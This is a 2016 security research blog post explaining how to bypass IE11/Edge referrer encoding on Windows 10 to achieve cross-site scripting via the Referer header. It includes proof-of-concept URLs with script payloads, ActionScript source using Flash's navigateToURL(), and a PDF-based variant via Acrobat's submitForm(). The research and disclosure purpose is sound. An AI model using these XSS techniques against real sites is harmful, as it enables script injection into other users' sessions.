Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:
https://vulnerabledoma.in/xss_referrer

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)
Thanks!

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